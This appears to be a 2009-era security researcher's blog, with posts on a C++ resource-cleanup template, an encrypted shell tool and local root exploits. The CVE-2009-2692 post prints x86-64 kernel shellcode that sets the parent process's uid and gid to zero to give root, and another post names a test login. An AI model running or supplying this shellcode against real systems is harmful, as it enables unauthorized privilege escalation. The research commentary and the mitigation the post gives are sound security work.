un-evil code

I had incredible dl statistics for gc.cc (see last posting). Even
better than for exploits, years ago when I was publishing them.
Seems to me I should switch completely to write robust and boring
application code which is much more appreciated by the public.

Nevertheless, since there have not been reports about
crash containing major bugs or alike, I removed the beta-test
password from the directory.

C++ local_scope<> template

If you write a lot of code (and I know, some of the readers
actually do :), depending on your style, you often run
into situations where you allocate some ressource like
fopen()ing some files or allocing memory and later
you realize some error-condition and you properly need
to fclose()/free() all the stuff in the right order
and depending on what was allocated yet.
This leads to a lot of copy-n-paste code and often
plain wrong code or even better security breaches :)

If you like C++, you can have a look here to avoid
all these problems.

You can register FILE pointers, file-descriptors or
memory regions to a local_scope<> template and it
automatically closes/releases ressources when you leave scope
(also in right order).It is as easy as

local_scope<int> fd(open("/tmp/x2", O_RDONLY), close);

and you can use fd afterwards like you'd normally use
your descriptor. If you need to return due to some
other error condition, the file is closed when the
scope is left.Other ressources like lock's etc could easily
be added by extending local_scope<>.

rewrote Port Shell Crypter

I rewrote PSC, a tool to upgrade plaintext and/or
sessions without a tty across networks (even via
multiple hops) to a full crypted pty based session.

It works by doing the handshake and crypto across
the terminal layer instead of using network calls. The whole
code does not need any networking functionality.
If you have a chained session from host A to D like
A -> B -> C -> D and before starting the session you start your
local psc tool on host A and as soon as on host D you start
the other endpoint, the full chain is encrypted and nobody
on B and C can see or modify what you are typing.
Evil administrators on intermediate hosts (B, C) might use
ptrace() or whatever to even sniff SSH sessions. Using psc,
this is not possible anymore.

First, I wanted to make some video (since it seems very hip
these days :) showing how a old gitweb exploit makes a full
pty crypto shell using psc so you could use 'mc' etc.
on it at the end. However, xvidcap has some lib requirements
which I cant give it on my machine yet without hours
of recompilation and so I thought I do the release old-school. :)

CRypted Administration SHell beta available

You can download crash here.

I started this project during last hackweek in July 09 and
now found some time to finish it.
Login/password is cr4sh/cr4sh. If you have any major problems
please let me know, otherwise the release will be made
available to a broader audience.
crash has not yet been tested on slow/hanging networks
and I'd be interested in feedback whether the chunksizes
still do etc.

CVE-2009-2692 and android; mitigation

Update:{ it seems like someone else have had more time than me
checking out the CVE-2009-2692 vulnerability and the -EINVAL
vs. -EPERM issue on android. As already stated below, one
should check the ELF loader and how it handles PT_LOAD
segments of 0-addr.And, it seems that it did the trick!
At least from reading their exploit.
I didnt test it but it looks good to me.}

I made up a reliable exploit for CVE-2009-2692 myself with a generic
kernel 2.6 x86-64 shellcode which has only a small stub in
asm and does the rest in C.
It works reliable across the various kernel versions and I hoped to pwn my android with it, but unfortunately it turned out that the running 2.6.27 kernel inside has proper mmap_min_addr set to 0x1000 so this bug is out of the game. There is no suid for a
PERSONALITY_SVR4 preload either. The thing that makes me
wonder is, that it returns -EINVAL instead of the common -EPERM,
so maybe some further research is required.
Maybe linking the ELF binary's PT_LOAD segment to 0 helps :)

The funny thing is that a lot "CVE-2009-2692 exploit" queries
from search engines point to this site and the crowd seem to have problems finding spender's wunderbar_emporium.tgz :-)


If you are looking for easy mitigation of the attack
on openSUSE systems, call

echo 0x1000 > /proc/sys/vm/mmap_min_addr

from a rootshell. Since there is no setuid pulseaudio or
SELinux installed on openSUSE, this kills any NULL ptr attacks.

A .note on CVE-2009-2692

I recommend reading this posting.

I am usually not commenting on other ppl's bug-findings. 100% of the fame and honor should
go to Tavis Ormandy and Julien Tinnes. If spenders exploit is doing too much magic for you,
heres the simple code snippet, which, if mapped at 0x0 gives you root:

// threadinfo = $0xffffffffffffe000 & %rsp
// task_struct offsets: current->parent = 696 current->uid = 1080
void do_root_2_6_27_x8664()
{
        __asm__(""
        "xor    %rax,%rax\n"
        "mov    $0xffffffffffffe000,%rax\n"     /* find threadinfo */
        "and    %rsp,%rax\n"
        "mov    (%rax),%rax\n"                  /* threadinfo->task     */
        "mov    696(%rax),%rax\n"               /* task->parent         */
        "movl   $0,1080(%rax)\n"                /* task->uid = 0        */
        "movl   $0,1084(%rax)\n"                /* task->euid = 0       */
        "movl   $0,1088(%rax)\n"                /* task->suid = 0       */
        "movl   $0,1092(%rax)\n"                /* task->fsuid = 0      */
        "movl   $0,1096(%rax)\n"                /* task->gid = 0        */
        "movl   $0,1100(%rax)\n"                /* task->egid = 0       */
        "leaveq\n");
}

It doesn't disable SELinux or so, its just for understanding that for simple rootshell you only
need to give the parent of the exploit (which is usually the shell that started the exploit)
UID/EUID of 0. The code is a modification of shellcode I used in a bluetooth kernel
PoC exploit 4 years or so ago.The code will cause a segfault
to the current process which does not matter since we
only care about the parent shell which obtains its root privs.

So, how much magic is there with the exploit?

Greetings to the people at HAR, I am sad I cannot attend this time :(

pwned

Today I proudly realized, while viewing Referer logs, I
have been nominated for the Best Privilege Escalation
Bug in the pwnie-awards for discovering and exploiting
CVE-2009-1185 (udev). The story behind that is that
I was frustrated to have no root-sex within the last
6 months or so (since postfix) and therefore
I started reviewing the glibc ELF loader for such which lead me
somehow to certain daemons such as nscd followed by
hald and finally udevd. I quickly realized that it missed
important checks but the impact was unknown to me since
it kindly denied my exploitation offers until I found my way in.

You might be surprised to hear that I am not really
a security guy and used to stay away from sec-con events,
even though I work in that field.
I rather see myself as a programmer with interest in coding
and reading other peoples code and its often funny to
watch and follow discussions by the "security professionals".

The thing that makes me actually commenting on this is the
nice coincide with the nomination of my hero Solar Designer. :)

unreadable comments

Its possible that its just spam, but I receive a lot
of chinese/japanese or whatever comments to my postings.
Since I wont approve what I dont understand, I cannot
approve these. So, please comment either in deutsch
or in english.

A .note on local root exploits

There happened a lot of weird things and discussions
during the last week. Not only a silly kernel/gcc
combination attack was published by my favorite VJ;
also a second issue was released by the google sec-team,
which unfortunally was inside the same program that spender
used as an attack vector in one of the videos.

At the end, its nice that there are (thanks god, I am not
alone in this world!) people who seem to like/care
about local root exploits. You should definitely
have a look at Julien's blog (pulseuadio as well
as the mmap_min_addr postings).I feel like _uh,ohhh_
that theres actually some people doing real things
beside all the web 2.o, XSS and similar sillyness.

As you might know (or not, who cares :) I like local
root exploits. Every now and then I try to find some,
and sometimes I am even successful. Not only two times
so far, as some blogs try to suggest. :-)
Surprinsingly it is not much harder than 10 years ago,
if we do not count overflow/memory corruption bugs.
The bugs just get more silly and most of the time they
require a combination of multiple minor flaws. But
thats exactly what makes the beauty of local root exploits.

Some people do not honour them. They argue that only
remote exploits are of interest. But these people probably
never run a cluster or one of the top500's or found themself
removing ssh backdoors on a weekend instead of having fun.

A local vulnerability deservs the same update urgency
as remote ones.

Do not follow me on twitter

I just grabbed a login on twitter but I am probably
not going to publish something there. Its just
a place holder.

I reviewed a lot of messaging code (hal, upstart etc.) during the last few weeks
as a post-handling of the udev issue. I learned a lot and
thats great, but no new interesting issues so far.